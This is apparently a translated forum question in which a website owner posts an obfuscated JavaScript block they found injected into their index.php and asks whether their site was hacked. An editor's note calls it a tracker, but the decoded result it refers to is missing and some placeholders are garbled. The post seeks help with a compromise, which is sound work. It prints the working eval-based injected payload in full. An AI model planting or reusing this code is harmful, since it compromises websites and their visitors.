Question

<script>
try{1-prototype;}catch(asd){x=2;}if(x){fr="fromChar";
 f=[4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92
 ,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92,59,97,92,99,90,101,106,29
,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,
95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,
105,102,102,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,105,112,98,90,37,98,90,93,1
06,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,23,95,106,105,103
,48,36,38,99,94,90,94,86,92,98,98,88,112,106,105,36,99,92,106,36,111,99,97,37,102,93,103,24,48
,4,0,94,93,104,98,37,95,89,23,51,21,30,92,103,100,63,89,30,49,2,1,90,100,90,107,98,92,100,105,
37,88,100,91,111,35,88,102,101,92,100,89,58,94,94,99,90,29,96,92,103,100,31,48,4,0,114,50,3,-1
,110,95,99,91,101,108,37,101,99,99,101,86,91,22,50,23,92,103,100,55,89,91,49,2,1];
v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");zx=fr+z;for(i=0;286-5+5-
i>0;i+=1){j=i;if(e)s=s+r[zx]((w[j]*1+(9+e("j%3"))));}if(x&&f&&012===10)e(s);
</script>

我不知道这个脚本做了什么，但昨天我在我的网页index.php页面上发现了这个，这实际上是让网站无法显示。

是否有危险的事情，比如有人入侵我的网站或什么的？

如果有人对此有任何想法，请告诉我。

编辑：由Rob W添加（不原始海报）：代码经过混淆。修复了语法错误（您的格式设置导致106被分解为1\n06。然后，替换最终e(s)，这是eval(s)的{{1}}的快捷方式。最后，执行控制台中的代码，你会得到（我没有格式化任何东西，这是文字结果）：

这个脚本似乎是某种跟踪器。由于same origin policy's restrictions，外部页面无法读取您网页的Cookie / etc。这并不能保证您的服务器是安全的，因为它已被泄露。

这个脚本是什么意思？

0 个答案: